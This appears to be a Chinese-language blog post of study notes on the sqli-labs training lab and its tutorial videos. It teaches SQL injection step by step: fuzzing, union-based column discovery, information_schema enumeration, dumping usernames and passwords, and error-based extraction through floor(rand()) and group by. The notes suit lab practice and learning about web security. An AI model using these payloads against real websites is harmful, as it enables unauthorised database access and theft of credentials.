cdxy.me
Footprints on Cyber Security and Python

notes about video2-6 / Lesson1-5

source:

https://www.youtube.com/user/dhakkan3/videos

https://github.com/Audi-1/sqli-labs

 

comment

fuzzing

basic functions

union

and/or based

error based


 

part2

Lesson1

何为fuzzing:
指通过不同的测试字符串,找到报错点

注释:
–+     –%20
#       %23
/* */


part3

lesson3
lesson4

fuzzing时,相比单引号双引号更好的方法是:使用反斜线!
\会把后面的字符转义,在报错中直接可以看出对方后台是单引双引和括号.

判断左边取出的column个数(是php取出的个数,不是数据库中的总列数)
order by 1.2.3…4的时候报错
或者使用union select 1,2,3
找出的结果表明源代码是:select col1,col2,col3 from XXX where…

验证这三个查询的col之中哪个可以回显:
id=-1 union select 1,2,3
这样使id查询结果返回为空,则回显就是union后面的数字了
屏幕上显示:
user:2
pass:3
证明2和3的位置可以回显

然后在可以回显的位置使用version() database() user() current_user等函数获取基本信息


part4

Lesson1

information_schema的利用

查某个数据库中的表名
位置
select table_name from information_scema.tables where table_scema=”security”
函数
select table_name from information_scema.tables where table_scema=database()
遍历
select table_name from information_scema.tables where table_scema=database() limit 0,1….1,1…..2,1….
一次输出
select group_concat(table_name) from information_scema.tables where table_scema=database()

查表中字段名
select column_name from information_schema.columns where table_name=”users”

dump字段的值
select 1,group_concat(username),group_concat(password) from users –+


part5

Lesson1
如何在不能使用注释(–+)的情况下利用
这个时候order by 会失效,我们仍需使用union找到col数量

id=-6′ union select 5,10,3 AND ‘1
这条语句前面用不存在的值保证输出只有union后的select
后面用and ‘1’闭合后面的单隐号,且不影响前面语句返回

但是上面这条语句的回显是
user:10
pass:1
pass为什么是1呢?是因为 ( 3 and ‘1’)是优先运算的,它返回的结果是boolean:true,也就是1.这样以来,我们可用于回显的点只有col2这一个了

@@datadir

这种不能使用注释的情况,无法直接dump值
也就是union select 5,table_name,3 from … and ‘1=1
这样会报错
解决方式是使用基于错误信息的回显!


part6

Lesson5
基于错误信息

基本函数:
select count(*) from …; =>返回select * from …的数量
rand(); => 0-1之间的float
select floor(2.1231231); => 2(向下取整)

构造随机生成0和1的函数
select floor(rand()*2);

注意这个时候返回的表,它的title是"select floor(rand()*2);"
select floor(rand()*2) as dumb; 它的title就是dumb
select floor(rand()*2) dumb; 同样它的title也是dumb

group by
select table_name,table_schema from information_schema.tables group by table_schema;
以table_schema为基准显示,即在显示的列表里,table_schema的值是不允许重复的,而此时table_name并没有显示完整.

构造payload
select database();  => security

select (select database());  => security

select concat((select database()))  => security

select concat(0x3a,0x3a,(select database()),0x3a,0x3a)  => ::security::

select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a  => ::security::

select concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a  => ::security::1 / ::security::0

select concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a from information_schema.tables => 127 rows

select count(*),concat(0x3a,0x3a,(select database()),0x3a,floor(rand()*2))a from information_schema.tables group by a;
=>
不报错的情况:
count(*) | a
60       | ::security::0
67       | ::security::1
(注意,要多尝试几遍)
多尝试几遍之后会报错:
Duplicate entry ‘::security::1’ for key ‘group_key’

可控点是(select database())
可以替换成(select current_user)等等

dump数据时将可控点替换成:
(select table_name from information_schema.tables where table_schema=database())
=> Subquery returns more than 1 row
添加limit语句,改为:
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
=> Duplicate entry ‘::emails::0’ for key ‘group_key’